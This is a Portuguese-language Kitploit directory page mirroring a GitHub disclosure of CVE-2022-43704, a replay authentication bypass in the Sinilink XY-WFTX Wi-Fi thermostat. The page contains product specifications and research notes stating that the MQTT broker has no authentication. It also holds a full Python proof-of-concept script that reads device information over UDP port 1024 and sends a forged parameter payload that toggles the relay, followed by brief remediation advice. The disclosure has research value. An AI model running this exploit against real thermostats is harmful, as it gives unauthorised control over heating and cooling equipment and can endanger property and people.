Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-43704 — Sinilink XY-WFTX Módulo Termostato Remoto Wi-Fi Controlador de Temperatura | Kitploit
Ferramentas/GitHubGitHub/9lyph/cve-2022-43704
Autenticação e AutorizaçãoSegurança de Sistemas EmbarcadosSniffing e Análise de PacotesReconhecimentoSegurança IoTAnálise de VulnerabilidadesExploraçãoSegurança Sem FioTestes de PenetraçãoSegurança de Hardware e IoT
GitHub
52há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
9lyph/cve-2022-43704

CVE-2022-43704

Sinilink XY-WFTX Módulo Termostato Remoto Wi-Fi Controlador de Temperatura

Ver Repositório

CVE-2022-43704 - Canal Acessível por Não-Extremidade / Bypass de Autenticação por Captura-replay

Módulo Termostato Remoto WiFi Sinilink XY-WFTX Controlador de Temperatura

Título

sinilink

Documentação do Produto

  • Aplicativo

  • Manual do Usuário

Hardware

Datasheet(s)

ESP8285

Buck Converter

Firmware

Descrição do Produto

root@kitploit:~
Visão Geral

Módulo Termostato Remoto WiFi de Alta Precisão para Controle de Temperatura,
Aquecimento e Resfriamento, Coleta de Temperatura via APP XY-WFT1 WFTX

Parâmetros Técnicos

Exibição de temperatura: display de tubo digital
Tensão de alimentação: DC 6~30V
Alimentação USB: suportada
Faixa de controle de temperatura: -40~110°C
Precisão do controle de temperatura: 0,1°C
Faixa de medição NTC: -40~110°C
Suporta 18B20: Sim (-40~110°C)
Tipo de saída: relé chaveado, corrente até 10A
Notificação de alarme: suporta notificação por WeChat
Registro de dados na nuvem: 15 dias de registro, exportável a qualquer momento
Função de temporizador: suportada

Referência

MITRE

[Exploit-DB]

Fabricante

Sinilink.com

Pesquisa

  • O produto utiliza websockets para estabelecer comunicação com ws://mq.sinilink.com:8085/mqtt.
  • Este endpoint é usado como um Broker MQTT e não possui autenticação

Mapa da Superfície de Ataque

Descoberta

Canal Acessível por Não-Extremidade

  • O termostato remoto WiFi Sinilink, executando o firmware V1.3.6, permite que um invasor contorne a exigência pretendida de se comunicar usando MQTT, sendo possível, em vez disso, reproduzir comandos do protocolo Sinilink interfaceando diretamente com o dispositivo alvo. Isso, por sua vez, permite que um ataque controle o relé integrado sem exigir autenticação via aplicativo móvel.
  • O dispositivo alvo deve estar no 'Modo Manual' com 'Ligar, Desligar' como pré-requisito.

Configuração Pré-requisito

Fraqueza / Vulnerabilidade

  • CWE-300: Canal Acessível por Não-Extremidade
  • CWE-294: Bypass de Autenticação por Captura-replay

Configurações de Software Afetadas Conhecidas

  • V1.3.6

Código POC

root@kitploit:~
#!/usr/local/bin/python3
# Author: Victor Hanna (Exploit Security)
# Sinilink WiFi Remote Thermostat
# CWE-300: Channel Accessible by Non-Endpoint

import requests
import re
import urllib.parse
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time
import socket
import time
from datetime import datetime

from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# Banner Function
def banner():
    print ("[+]********************************************************************************[+]")
    print ("|   Author : Victor Hanna (9lyph)["+Fore.RED + "Exploit Security" +Style.RESET_ALL+"]\t\t\t\t\t    |")
    print ("|   Description: Sinilink WiFi Remote Thermostat                                    |")
    print ("|   Usage : "+sys.argv[0]+" <host>                                                     |")
    print ("[+]********************************************************************************[+]")

def retrieve_device_info():

    SinilinkMsgFromClient = "SINILINK521"
    host = str(sys.argv[1])
    try:
        bytesToSend = str.encode(SinilinkMsgFromClient)
        serverAddressPort = (""+host, 1024)
        bufferSize = 1024
        print (Fore.GREEN + "[+] Retrieving Device Information ..." + Style.RESET_ALL)
        UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
        UDPClientSocket.sendto(bytesToSend, serverAddressPort)
        time.sleep(5)
        msgFromServer = UDPClientSocket.recvfrom(bufferSize)
        msg = "Message from Server {}".format(msgFromServer[0])
        msgSplit = msg.split(",")
        MAC = msgSplit[0][30:-1]
        dt = msgSplit[1][7:]
        converted = datetime.fromtimestamp(int(dt)).strftime("%A, %B %d, %Y %I:%M:%S")
        temp = msgSplit[5]
        degree = msgSplit[6][1:-1]
        relay_value = msgSplit[2][9:]
        print (Fore.CYAN + f"    --> MAC Address: {MAC}" + Style.RESET_ALL)
        print (Fore.CYAN + f"    --> Time Stamp: {converted}" + Style.RESET_ALL)
        print (Fore.CYAN + f"    --> Current Temperature Reading: {temp}{degree}" + Style.RESET_ALL)
        if (relay_value == "1"):
            print (Fore.CYAN + f"    --> Relay State: Open" + Style.RESET_ALL)
        else:
            print (Fore.CYAN + f"    --> Relay State: Closed" + Style.RESET_ALL)
    except:
        print ("Unsuccessful")

def send_payload():
    try:
        epoch_time = str(int(time.time()))
        msgFromClient = '4C:EB:D6:01:A8:7C{"MAC":"4C:EB:D6:01:A8:7C","time":'+epoch_time+',"param":[1,"M",0,20.8,"C","H",66,5,0,0,0,20.5,0,-40,0,0,5,1,0,0,0,0]}'
        bytesToSend = str.encode(msgFromClient)
        serverAddressPort = (""+host, 1024)
        bufferSize = 1024
        print (Fore.GREEN + "[+] Sending Payload ..." + Style.RESET_ALL)
        time.sleep(10)
        UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
        UDPClientSocket.sendto(bytesToSend, serverAddressPort)
        time.sleep(15)
        UDPClientSocket.close()
    except:
        print ("Unsuccesful")
    
# Main Function
def main():
    os.system('clear')
    banner()
    retrieve_device_info()
    send_payload()
    retrieve_device_info()



if __name__ == "__main__":
    if len(sys.argv)>1:
        host = sys.argv[1]
        main()
    else:
        print (Fore.RED + f"[+] Not enough arguments, please specify target and relay!" + Style.RESET_ALL)

Etapas de Remediação

  • Verificar adequadamente a identidade das entidades em cada extremidade do canal de comunicação. A verificação inadequada ou inconsistente pode resultar em identificação insuficiente ou incorreta de qualquer entidade comunicante. Isso pode ter consequências negativas, como confiança mal colocada na entidade na outra extremidade do canal. Um invasor pode explorar isso interpondo-se entre as entidades comunicantes e disfarçando-se como a entidade original. Na ausência de verificação suficiente da identidade, tal invasor pode espionar e potencialmente modificar a comunicação entre as entidades originais.

Pwnage

Descobridor/Crédito:

Victor Hanna da Exploit Security

Siga-me no

Mastodon Linkedin Youtube

Baixar ferramenta